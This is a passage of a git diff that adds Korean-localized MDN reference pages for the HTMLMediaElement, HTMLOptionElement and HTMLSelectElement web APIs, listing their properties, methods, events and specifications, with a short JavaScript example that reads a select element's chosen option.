+ <dt>{{domxref("HTMLMediaElement.networkState")}} {{readonlyinline}}</dt>
+ <dd>네트워크를 통한 미디어 데이터 전송 상태를 <code>unsigned short</code> (enumeration)으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.paused")}} {{readonlyinline}}</dt>
+ <dd>미디어 일시 정지 여부를 {{jsxref('Boolean')}} 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.playbackRate")}}</dt>
+ <dd>재생 속도를 <code>double</code> 값으로 반환합니다. </dd>
+ <dt>{{domxref("HTMLMediaElement.played")}} {{readonlyinline}}</dt>
+ <dd>브라우저에서 재생된 미디어 소스 범위를 포함한 {{domxref('TimeRanges')}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.preload")}}</dt>
+ <dd>프리로드 할 데이터 타입을 명시하는  {{htmlattrxref("preload", "video")}} attribute를 {{domxref("DOMString")}} 값으로 반환한다. 가능한 값들 : <code>none</code>, <code>metadata</code>, <code>auto</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.preservesPitch")}} {{non-standard_inline}}</dt>
+ <dd>사운드 피치 유지 여부를 {{jsxref('Boolean')}} 값으로 반환합니다. <code>false</code> 일 경우, 오디오 재생 속도에 따라 변하게 됩니다. Firefox의 (<code>mozPreservesPitch</code>)와 WebKit의 (<code>webkitPreservesPitch</code>)로 구현되어 있습니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.readyState")}} {{readonlyinline}}</dt>
+ <dd>미디어 대기 상태를 <code>unsigned short</code> (enumeration)으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekable")}} {{readonlyinline}}</dt>
+ <dd>탐색(seeking) 가능한 범위를 포함한 {{domxref('TimeRanges')}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeking")}} {{readonlyinline}}</dt>
+ <dd>탐색(seeking) 중 여부를 {{jsxref('Boolean')}} 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.sinkId")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>별도의 오디오 재생 장치로 출력중이라면 장치의 unique ID를 {{domxref("DOMString")}} 으로 반환합니다. 브라우저로 재생 중이라면 빈 문자열입니다. 이 ID는 {{domxref("MediaDevices.enumerateDevices()")}}에서 반환된 <code>MediaDeviceInfo.deviceid</code>, <code>id-multimedia</code>, <code>id-communications</code> 중 하나입니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.src")}}</dt>
+ <dd>미디어 리소스 URL이 포함된 {{htmlattrxref("src", "video")}} attribute를 {{domxref("DOMString")}} 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.srcObject")}}</dt>
+ <dd>현재 <code>HTMLMediaElement</code> 객체에서 재생 중이거나 재생 되었던 미디어를 표현하는 {{domxref('MediaStream')}} 객체를 반환합니다. 없는 경우, <code>null</code> 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.textTracks")}} {{readonlyinline}}</dt>
+ <dd>{{domxref("TextTrack")}} 리스트를 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.videoTracks")}} {{readonlyinline}}</dt>
+ <dd>{{domxref("VideoTrack")}} 리스트를 반환합니다..
+ <div class="note">
+ <p>Gecko는 싱글 트랙 재생만을 지원합니다. 또한 트랙 메타데이터 파싱은 Ogg 컨테이너 포맷에서만 가능합니다..</p>
+ </div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.volume")}}</dt>
+ <dd>오디오 볼륨을 <code>double</code> 값으로 반환합니다. 0.0 (무음)에서 1.0 (최대크기) 사이 값을 가집니다..</dd>
+</dl>
+
+<h3 id="이벤트_핸들러(Event_handlers)">이벤트 핸들러(Event handlers)</h3>
+
+<dl>
+ <dt></dt>
+ <dt>{{domxref("HTMLMediaElement.onencrypted")}}</dt>
+ <dd>미디어 암호화 시 호출되는 {{domxref('EventHandler')}}를 설정합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.onwaitingforkey")}}</dt>
+ <dd>재생하기 위해 복호화 키가 필요한 경우 호출되는 {{domxref('EventHandler')}}를 설정합니다..</dd>
+</dl>
+
+<h2 id="폐기된_속성(Obsolete_attributes)">폐기된 속성(Obsolete attributes)</h2>
+
+<p>아래 속성들은 폐기되었으며 브라우저가 지원하더라도 사용되지 않아야 합니다.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>최초 재생 지점을 초 단위로 <code>double</code> 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozChannels")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>오디오 채널 수를 <code>double</code> 값으로 반환합니다. (예, 스테레오인 경우 <code>2</code>).</dd>
+</dl>
+
+<h3 id="폐기된_이벤트_핸들러(Obsolete_event_handlers)">폐기된 이벤트 핸들러(Obsolete event handlers)</h3>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptbegin")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Audio Channel manager에 의해 재생이 인터럽트 된 경우 호출되는 {{domxref("EventHandler")}} 를 설정합니다. Firefox 전용 기능으로 Firefox OS에서 추가되었으며 Firefox 55 버전에서 제거되었습니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptend")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>재생 인터럽트가 해결된 경우 호출되는 {{domxref('EventHandler')}}를 설정합니다. Firefox 전용 기능으로 Firefox OS에서 추가되었으며 Firefox 55 버전에서 제거되었습니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>This interface also inherits methods from its ancestors {{domxref("HTMLElement")}}, {{domxref('Element')}}, {{domxref('Node')}}, and {{domxref('EventTarget')}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.addTextTrack()")}}</dt>
+ <dd>미디어 엘리먼트에 본문 트랙(자막 등)을 추가합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>미디어 콘텐트의 스트림을 캡쳐하여 {{domxref("MediaStream")}} 객체로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.canPlayType()")}}</dt>
+ <dd>현재 지정된 미디어 타입을 재생할 수 있는지 확인합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.fastSeek()")}}</dt>
+ <dd>입력된 시간으로 바로 이동합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.load()")}}</dt>
+ <dd>미디어를 처음으로 리셋하고 {{htmlattrxref("src", "video")}} 어트리뷰트 또는 {{HTMLElement("source")}} 엘리먼트로 전달된 소스 중 최적의 소스를 선택합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStream()")}} {{non-standard_inline}}</dt>
+ <dd>[enter description]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStreamUntilEnded()")}} {{non-standard_inline}}</dt>
+ <dd>[enter description]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozGetMetadata()")}} {{non-standard_inline}}</dt>
+ <dd>Returns {{jsxref('Object')}}, which contains properties that represent metadata from the playing media resource as <code>{key: value}</code> pairs. A separate copy of the data is returned each time the method is called. This method must be called after the <a href="/en-US/docs/Web/Events/loadedmetadata">loadedmetadata</a> event fires.</dd>
+ <dt>{{domxref("HTMLMediaElement.pause()")}}</dt>
+ <dd>미디어 재생을 일시 정지합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.play()")}}</dt>
+ <dd>미디어를 재생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekToNextFrame()")}} {{non-standard_inline}} {{experimental_inline}}</dt>
+ <dd>미디어의 다음 프레임으로 이동합니다. 비표준이며 실험적인 이 기능은 미디어를 읽고 렌더링 하는 속도를 조절할 수 있게 하거나 프레임별로 필터링 등 추가적인 기능을 수행할 수 있게 합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.setMediaKeys()")}} {{experimental_inline}}</dt>
+ <dd>미디어 복호화에 필요한 키를 지정합니다. {{jsxref("Promise")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.setSinkId()")}} {{experimental_inline}}</dt>
+ <dd>오디오를 출력할 장치의 ID를 지정합니다. {{jsxref("Promise")}} 객체를 반환합니다. 어플리케이션이 특정 장치를 사용할 수 있는 경우에만 동작합니다.</dd>
+</dl>
+
+<h2 id="폐기된_메소드">폐기된 메소드</h2>
+
+<p>아래 메소드들은 폐기되었습니다. 브라우저가 지원하더라도 사용하면 안됩니다.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Mozilla 구현체에서만 동작하는 이 메소드는 다른 미디어 엘리먼트에서 데이터를 로드합니다. <code>load()</code> 메소드와 유사하게 동작하지만 리소스 선택 알고리즘만 다릅니다. 엘리먼트의 소스를 다른 엘리먼트의 <code>currentSrc</code>를 바라보게 합니다. 지정된 엘리먼트의 캐시 및 버퍼에 담긴 데이터에도 모두 접근할 수 있으며 이 말은 즉 다운로드 된 모든 데이터를 공유한다는 의미입니다.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p><em>부모 엘리먼트 {{domxref("HTMLElement")}}에서 상속받은 이벤트와</em> {{domxref('GlobalEventHandlers')}}에 정의된 이벤트를 믹스인합니다. <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>를 통해 이벤트를 수신하거나 <code>on<em>eventname</em></code> 프로퍼티에 리스터를 할당하여 수신합니다.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.abort_event", 'abort')}}</dt>
+ <dd>에러 외의 원인으로 전체 리소스가 로드 되지 못했을 때 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.canplay_event", 'canplay')}}</dt>
+ <dd>User agent가 미디어를 재생 가능한 시점에 발생합니다. 다만 전체 미디어를 재생하기 위해서는 콘텐츠의 버퍼링이 더 필요할 수 있습니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.canplaythrough_event", 'canplaythrough')}}</dt>
+ <dd>추가 버퍼링 없이 전체 미디어를 재생할 수 있는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.durationchange_event", 'durationchange')}}</dt>
+ <dd>duration 속성이 변경된 시점에 발생합니다..</dd>
+ <dt>{{domxref("HTMLMediaElement.emptied_event", 'emptied')}}</dt>
+ <dd>미디어가 제거된 시점에 발생합니다. 예를 들어 미디어가 이미 (부분적으로라도) 로드 되었는데. {{domxref("HTMLMediaElement.load()")}} 메소드 호출로 재 로드할 경우 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.ended_event", 'ended')}}</dt>
+ <dd>(&lt;audio&gt; or &lt;video&gt;) 미디어가 끝까지 재생 완료 된 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.error_event", 'error')}}</dt>
+ <dd>에러가 발생하여 리소스를 로드할 수 없는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.loadeddata_event", 'loadeddata')}}</dt>
+ <dd>미디어의 첫번째 프레임이 로딩 완료된 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.loadedmetadata_event", 'loadedmetadata')}}</dt>
+ <dd>메타데이터가 로드 된 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.loadstart_event", 'loadstart')}}</dt>
+ <dd>브라우저가 리소스를 로드하기 시작하는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.pause_event", 'pause')}}</dt>
+ <dd>미디어 일시 정지를 요청하고 paused 상태로 진입하는 시점에 발생합니다. 일반적으로 {{domxref("HTMLMediaElement.pause()")}} 메소드가 호출되는 시점입니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.play_event", 'play')}}</dt>
+ <dd>{{domxref("HTMLMediaElement.play()")}} 메소드 호출이나 <code>autoplay</code> 속성에 의해 <code>paused</code> 프로퍼티가 <code>true</code> 에서 <code>false</code>로 전환되는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.playing_event", "playing")}}</dt>
+ <dd>일시 정지 되거나 버퍼 부족으로 재생 정지 된 이후 재생 가능한 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.progress_event", "progress")}}</dt>
+ <dd>브라우저가 리소르를 로딩 중일 때 주기적으로 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.ratechange_event", 'ratechange')}}</dt>
+ <dd>재생 속도가 변경될 때 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeked_event", 'seeked ')}}</dt>
+ <dd>미디어 시킹이 완료되는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeking_event", 'seeking')}}</dt>
+ <dd>미디어 시킹이 시작되는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.stalled_event", 'stalled')}}</dt>
+ <dd>User agent가 미디어 데이터를 fetch 하였지만 전송되지 않은 경우 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.suspend_event", 'suspend')}}</dt>
+ <dd>미디어 로딩이 중지된 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.timeupdate_event", 'timeupdate')}}</dt>
+ <dd>currentTime 속성이 변경되는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.volumechange_event", 'volumechange')}}</dt>
+ <dd>볼륨이 변경되는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.waiting_event", 'waiting')}}</dt>
+ <dd>일시적인 버퍼 부족으로 재생이 정지된 시점에 발생합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture','#htmlmediaelement-extensions','HTMLMediaElement')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>sinkId, setSinkId(), captureStream() 추가 됨</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('EME', '#introduction', 'Encrypted Media Extensions')}}</td>
+   <td>{{Spec2('EME')}}</td>
+   <td>{{domxref("MediaKeys")}}, {{domxref("MediaEncryptedEvent")}}, {{domxref("setMediaKeys")}}, {{domxref("onencrypted")}}, and {{domxref("onwaitingforkey")}} 추가 됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>{{SpecName('HTML5 W3C')}}와 동일</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>최초 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLMediaElement")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>참고 자료
+  <ul>
+   <li>{{HTMLElement("video")}} and {{HTMLElement("audio")}} HTML elements.</li>
+   <li>{{domxref("HTMLVideoElement")}} and {{domxref("HTMLAudioElement")}} interfaces, derived from <code>HTMLMediaElement</code>.</li>
+  </ul>
+ </li>
+ <li>문서
+  <ul>
+   <li><a class="internal" href="/en-US/docs/Using_HTML5_audio_and_video">Using HTML5 audio and video</a></li>
+   <li><a class="internal" href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements">Media formats supported by the audio and video elements</a></li>
+   <li><a href="/en-US/docs/Web_Audio_API">Web Audio API</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/api/htmloptionelement/index.html b/files/ko/web/api/htmloptionelement/index.html
new file mode 100644
index 0000000000..eaf7e27ae6
--- /dev/null
+++ b/files/ko/web/api/htmloptionelement/index.html
@@ -0,0 +1,88 @@
+---
+title: HTMLOptionElement
+slug: Web/API/HTMLOptionElement
+translation_of: Web/API/HTMLOptionElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <strong><code>HTMLOptionElement</code></strong> interface represents {{HTMLElement("option")}} elements and inherits all classes and methods of the {{domxref("HTMLElement")}} interface.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLOptionElement.defaultSelected")}}</dt>
+ <dd>Is a {{domxref("Boolean")}} that contains the initial value of the {{htmlattrxref("selected", "option")}} HTML attribute, indicating whether the option is selected by default or not.</dd>
+ <dt>{{domxref("HTMLOptionElement.disabled")}}</dt>
+ <dd>Is a {{domxref("Boolean")}} representing the value of the {{htmlattrxref("disabled", "option")}} HTML attribute, which indicates that the option is unavailable to be selected. An option can also be disabled if it is a child of an {{HTMLElement("optgroup")}} element that is disabled.</dd>
+ <dt>{{domxref("HTMLOptionElement.form")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("HTMLFormElement")}} representing the same value as the <code>form</code> of the corresponding {{HTMLElement("select")}} element, if the option is a descendant of a {{HTMLElement("select")}} element, or null if none is found.</dd>
+ <dt>{{domxref("HTMLOptionElement.index")}} {{readonlyInline}}</dt>
+ <dd>Is a <code>long</code> representing the position of the option within the list of options it belongs to, in tree-order. If the option is not part of a list of options, like when it is part of the {{HTMLElement("datalist")}} element, the value is <code>0</code>.</dd>
+ <dt>{{domxref("HTMLOptionElement.label")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the value of the {{htmlattrxref("label", "option")}} HTML attribute, which provides a label for the option. If this attribute isn't specifically set, reading it returns the element's text content.</dd>
+ <dt>{{domxref("HTMLOptionElement.selected")}}</dt>
+ <dd>Is a {{domxref("Boolean")}} that indicates whether the option is currently selected.</dd>
+ <dt>{{domxref("HTMLOptionElement.text")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that contains the text content of the element.</dd>
+ <dt>{{domxref("HTMLOptionElement.value")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the value of the {{htmlattrxref("value", "option")}} HTML attribute, if it exists; otherwise reflects value of the {{domxref("Node.textContent")}} property.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>Option()</dt>
+ <dd>Is a constructor creating an <code>HTMLOptionElement</code> object. It has four values: the text to display, <code>text</code>, the value associated, <code>value</code>, the value of <code>defaultSelected</code>, and the value of <code>selected</code>. The last three values are optional.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmloptionelement", "HTMLOptionElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-option-element", "HTMLOptionElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>A constructor, <code>Option()</code>, has been added.<br>
+    The <code>form</code> property can be the <code>null</code> value.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-70901257', 'HTMLOptionElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The <code>selected</code> property changed its meaning: it now indicates if the option is currently selected and no longer if it was initally selected.<br>
+    The <code>defaultSelected</code> property is no longer read-only.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-70901257', 'HTMLOptionElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLOptionElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{HTMLElement("option")}}.</li>
+</ul>
diff --git a/files/ko/web/api/htmlselectelement/index.html b/files/ko/web/api/htmlselectelement/index.html
new file mode 100644
index 0000000000..967409aadc
--- /dev/null
+++ b/files/ko/web/api/htmlselectelement/index.html
@@ -0,0 +1,166 @@
+---
+title: HTMLSelectElement
+slug: Web/API/HTMLSelectElement
+tags:
+  - API
+  - HTML DOM
+  - HTMLSelectElement
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLSelectElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <code><strong>HTMLSelectElement</strong></code> interface represents a {{HTMLElement("select")}} HTML Element. These elements also share all of the properties and methods of other HTML elements via the {{domxref("HTMLElement")}} interface.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface inherits the properties of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.autofocus")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("autofocus", "select")}} HTML attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified. {{gecko_minversion_inline("2.0")}}</dd>
+ <dt>{{domxref("HTMLSelectElement.disabled")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("disabled", "select")}} HTML attribute, which indicates whether the control is disabled. If it is disabled, it does not accept clicks.</dd>
+ <dt>{{domxref("HTMLSelectElement.form")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLFormElement")}} referencing the form that this element is associated with. If the element is not associated with of a {{HTMLElement("form")}} element, then it returns <code>null</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.labels")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("NodeList")}} of {{HTMLElement("label")}} elements associated with the element.</dd>
+ <dt>{{domxref("HTMLSelectElement.length")}}</dt>
+ <dd>An <code>unsigned long</code> The number of {{HTMLElement("option")}} elements in this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.multiple")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("multiple", "select")}} HTML attribute, which indicates whether multiple items can be selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.name")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the {{htmlattrxref("name", "select")}} HTML attribute, containing the name of this control used by servers and DOM search functions.</dd>
+ <dt>{{domxref("HTMLSelectElement.options")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLOptionsCollection")}} representing the set of {{HTMLElement("option")}} ({{domxref("HTMLOptionElement")}}) elements contained by this element.</dd>
+ <dt>{{domxref("HTMLSelectElement.required")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("required", "select")}} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{gecko_minversion_inline("2.0")}}</dd>
+ <dt>{{domxref("HTMLSelectElement.selectedIndex")}}</dt>
+ <dd>A <code>long</code> reflecting the index of the first selected {{HTMLElement("option")}} element. The value <code>-1</code> indicates no element is selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.selectedOptions")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLCollection")}} representing the set of {{HTMLElement("option")}} elements that are selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.size")}}</dt>
+ <dd>A <code>long</code> reflecting the {{htmlattrxref("size", "select")}} HTML attribute, which contains the number of visible items in the control. The default is 1, unless <code>multiple</code> is <code>true</code>, in which case it is 4.</dd>
+ <dt>{{domxref("HTMLSelectElement.type")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} represeting the form control's type. When <code>multiple</code> is <code>true</code>, it returns <code>"select-multiple"</code>; otherwise, it returns <code>"select-one"</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.validationMessage")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing a localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (<code>willValidate</code> is false), or it satisfies its constraints.</dd>
+ <dt>{{domxref("HTMLSelectElement.validity")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("ValidityState")}} reflecting the validity state that this control is in.</dd>
+ <dt>{{domxref("HTMLSelectElement.value")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form control. Returns the <code>value</code> property of the first selected option element if there is one, otherwise the empty string.</dd>
+ <dt>{{domxref("HTMLSelectElement.willValidate")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{jsxref("Boolean")}} that indicates whether the button is a candidate for constraint validation. It is <code>false</code> if any conditions bar it from constraint validation.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.add()")}}</dt>
+ <dd>Adds an element to the collection of <code>option</code> elements for this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.blur()")}}{{obsolete_inline}}</dt>
+ <dd>Removes input focus from this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd>
+ <dt>{{domxref("HTMLSelectElement.checkValidity()")}}</dt>
+ <dd>Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element (and returns <code>false</code>).</dd>
+ <dt>{{domxref("HTMLSelectElement.focus()")}}{{obsolete_inline}}</dt>
+ <dd>Gives input focus to this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd>
+ <dt>{{domxref("HTMLSelectElement.item()")}}</dt>
+ <dd>Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLSelectElement.namedItem()")}}</dt>
+ <dd>Gets the item in the options collection with the specified name. The name string can match either the <code>id</code> or the <code>name</code> attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLSelectElement.remove()")}}</dt>
+ <dd>Removes the element at the specified index from the options collection for this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.reportValidity()")}}</dt>
+ <dd>This method reports the problems with the constraints on the element, if any, to the user. If there are problems, it fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element, and returns <code>false</code>; if there are no problems, it returns <code>true</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.setCustomValidity()")}}</dt>
+ <dd>Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does <em>not</em> have a custom validity error.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p>Listen to these events using {{domxref("EventTarget/addEventListener", "addEventListener()")}} or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface:</p>
+
+<dl>
+ <dt>{{domxref("HTMLElement/input_event", "input")}} event</dt>
+ <dd>Fires when the <code>value</code> of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Get_information_about_the_selected_option">Get information about the selected option</h3>
+
+<pre class="brush: js">/* assuming we have the following HTML
+&lt;select id='s'&gt;
+    &lt;option&gt;First&lt;/option&gt;
+    &lt;option selected&gt;Second&lt;/option&gt;
+    &lt;option&gt;Third&lt;/option&gt;
+&lt;/select&gt;
+*/
+
+var select = document.getElementById('s');
+
+// return the index of the selected option
+console.log(select.selectedIndex); // 1
+
+// return the value of the selected option
+console.log(select.options[select.selectedIndex].value) // Second
+</pre>
+
+<p>A better way to track changes to the user's selection is to watch for the {{domxref("HTMLElement/change_event", "change")}} event to occur on the <code>&lt;select&gt;</code>. This will tell you when the value changes, and you can then update anything you need to. See <a href="/en-US/docs/Web/API/HTMLElement/change_event#&lt;select>_element">the example provided</a> in the documentation for the <code>change</code> event for details.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the <code>autocomplete</code> property and the <code>reportValidity()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Is a snapshot of {{SpecName("HTML WHATWG")}}.<br>
